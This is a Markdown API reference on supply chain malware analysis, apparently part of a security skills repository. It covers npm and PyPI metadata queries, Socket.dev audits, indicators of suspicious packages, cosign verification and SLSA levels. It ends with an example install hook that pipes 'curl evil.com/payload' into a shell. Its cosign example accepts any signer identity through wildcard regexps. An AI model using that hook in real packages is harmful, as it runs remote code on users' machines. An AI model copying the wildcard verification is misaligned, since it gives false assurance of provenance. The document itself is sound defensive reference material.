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c21af3347e
- Add scripts/agent.py and references/api-reference.md to all remaining skills - Update all 648 LICENSE files: copyright now reads 'Mahipal' - Add implementing-security-monitoring-with-datadog (new skill with full anatomy) - All 649 skills now have: SKILL.md, LICENSE, scripts/agent.py, references/api-reference.md
86 lines
2.1 KiB
Markdown
86 lines
2.1 KiB
Markdown
# API Reference: Supply Chain Malware Analysis
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## npm Registry API
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### Package Metadata
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```bash
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curl https://registry.npmjs.org/<package-name>
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curl https://registry.npmjs.org/<package-name>/<version>
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```
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### Response Fields
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| Field | Description |
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|-------|-------------|
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| `dist-tags.latest` | Latest version |
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| `versions` | All published versions |
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| `maintainers` | Package maintainers |
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| `time.created` | First publish date |
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| `time.modified` | Last modification |
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## PyPI JSON API
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### Package Info
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```bash
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curl https://pypi.org/pypi/<package-name>/json
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```
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### Key Fields
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| Field | Description |
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|-------|-------------|
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| `info.author` | Package author |
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| `info.version` | Current version |
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| `releases` | All versions with artifacts |
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| `info.project_urls` | Source code links |
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## Socket.dev - Supply Chain Analysis
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### npm Audit
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```bash
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socket npm audit
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socket npm info <package>
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```
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## Suspicious Package Indicators
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| Indicator | Severity | Description |
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|-----------|----------|-------------|
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| preinstall/postinstall hooks | HIGH | Code runs during npm install |
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| URL/git dependencies | HIGH | Dependencies from non-registry source |
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| eval/exec in setup.py | HIGH | Dynamic code execution during pip install |
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| Base64 in install scripts | HIGH | Obfuscated payload |
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| Recently created package | MEDIUM | New package mimicking popular name |
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| Single maintainer | LOW | Bus factor risk |
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## Sigstore/cosign Verification
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### Verify Container Image
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```bash
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cosign verify --certificate-identity-regexp=".*" \
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--certificate-oidc-issuer-regexp=".*" image:tag
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```
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### Verify Artifact
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```bash
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cosign verify-blob --signature file.sig --certificate file.crt artifact.tar.gz
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```
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## SLSA Framework Levels
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| Level | Requirement |
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|-------|-------------|
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| SLSA 1 | Build provenance exists |
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| SLSA 2 | Hosted build platform, authenticated provenance |
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| SLSA 3 | Hardened build platform, non-falsifiable provenance |
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| SLSA 4 | Two-party review, hermetic builds |
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## npm install Hook Risks
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```json
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{
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"scripts": {
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"preinstall": "curl evil.com/payload | sh",
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"postinstall": "node ./install.js",
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"preuninstall": "node cleanup.js"
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}
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}
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```
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